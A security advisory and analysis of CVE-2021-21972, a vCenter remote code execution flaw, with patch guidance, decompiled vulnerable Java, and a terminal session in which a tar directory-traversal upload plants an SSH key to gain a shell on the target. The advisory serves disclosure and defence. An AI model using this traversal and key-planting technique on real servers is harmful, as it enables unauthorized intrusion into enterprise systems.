A high severity vulnerability (CVE-2021-21972, CVSS V3 base score – 9.8 CRITICAL) [1] impacting multiple versions of VMware vSphere products was reported privately on Oct 2, 2020 and published on Feb 23, 2021. The vulnerability allows for unauthenticated, remote code execution and is present on default configurations of vCenter.
The Randori Attack Team has developed a proof of concept and been able to demonstrate remote code execution (RCE). The vulnerability is reachable via an HTTP request sent to TCP port 443 and can be reliably exploited. It is Randori’s assessment that this vulnerability is likely to affect a large number of enterprise organizations and poses a high real-world risk for those running vCenter.
In analyzing this vulnerability, Randori has determined the following:
- Default installations are vulnerable.
- The vulnerability can be exploited reliably and without authentication.
- The vulnerability affects both Windows and Linux platforms.
- The vulnerability yields user-level credentials on Linux.
- The vulnerability yields administrator credentials on Windows.
Impact
This vulnerability requires access to TCP port 443. It is not recommended to expose vCenter to the Internet, thus impact in most scenarios should be limited to exploitation from a local network segment. However, it is currently being reported that more than 6,700 vCenter systems are discoverable via the Internet.
If exploited, the vulnerability allows a user to execute commands as the vsphere-ui user on Linux and SYSTEM on Windows.
Recommendation
If you believe you may be impacted, upgrading to the patched versions of VMware ESXi and vCenter Server (7.0 U1c, 6.7 U3l, and 6.5 U3n) will eliminate this vulnerability. Randori recommends any organization that believes they may be impacted to update to a patched version urgently.
If you are unable to patch, but you are able to trigger this vulnerability in your application, you can limit the reachability by following the workarounds listed in VMware KB7632.
Organizations running Randori Recon can check their current exposure by viewing the Services page to see if any impacted versions of vSphere have been detected on their perimeter.
Analysis
The vulnerability is contained within the uploadova function of the vRealize Operations Manager plugin which is exposed via following URL:
/ui/vropspluginui/rest/services/uploadovaThe uploadova function is defined in the vropsplugin-service.jar file that resides on a Linux vCenter 7.0.0.10700 installation at the following location:
/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-7.0.0.10700/plugins/vropsplugin-service.jarThe class file within that JAR that contains the vulnerability is:
com/vmware/vropspluginui/mvc/ServicesController.classDecompiling the ServicesController.class file yields the following (trimmed) Java code:
@RequestMapping(value = { "/uploadova" }, method = { RequestMethod.POST })
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) final CommonsMultipartFile uploadFile, final HttpServletResponse response)
final InputStream inputStream = uploadFile.getInputStream();
final File dir = new File("/tmp/unicorn_ova_dir");
final TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry2 = in.getNextTarEntry();
final List result = new ArrayList();
while (entry2 != null) {
if (entry2.isDirectory()) {
entry2 = in.getNextTarEntry();
}
else {
final File curfile = new File("/tmp/unicorn_ova_dir", entry2.getName());
final File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
}
final OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry2.getName());
entry2 = in.getNextTarEntry();
}
}
in.close();
This code accepts a TAR file from the HTTP client’s POST request and attempts to extract it to the directory /tmp/unicorn_ova_dir. The vulnerability manifests due to the fact that there are no checks made to ensure embedded file paths within the TAR do not constitute a directory traversal attempt.
By providing a file inside a TAR file with an internal path name containing five ../ sequences, the code will allow for writing a file relative to the root of the filesystem.
Randori constructed an exploit for vCenter on Linux that uploads a public SSH key to the remote host and then uses the private SSH key to log in, a technique first demonstrated in a post by the original vulnerability discoverer:
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:LvxBltXtKp44dlnissGxlh83wgIs/Y3MpNaDdE1Wbzk deft@dev
$ cp id_rsa.pub authorized_keys
$ python3 exploit.py --help
usage: exploit.py [-h] -s SERVER [-c] [-l LOCAL] [-r REMOTE]
optional arguments:
-h, --help show this help message and exit
-s SERVER, --server SERVER
Host/IP of the target server
-c, --check If specified, only check if vulnerable
endpoint is reachable
-l LOCAL, --local LOCAL
The path to the local file to transfer
-r REMOTE, --remote REMOTE
The remote path to write the file
$ python3 exploit.py -s vcenter_host --local authorized_keys --remote /home/vsphere-ui/.ssh/authorized_keys
+ Creating malicious tar file
+ Successfully uploaded file
$ ssh -i ./id_rsa vsphere-ui@vcenter_host
VMware vCenter Server 7.0.0.10700
Type: vCenter Server with an embedded Platform Services Controller
vsphere-ui@vcenter [ ~ ]$ id ; uname -a
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
Linux vcenter_host 4.19.115-1.ph3 #1-photon SMP Tue Apr 21 18:56:03 UTC 2020 x86_64 GNU/Linux
vsphere-ui@vcenter [ ~ ]$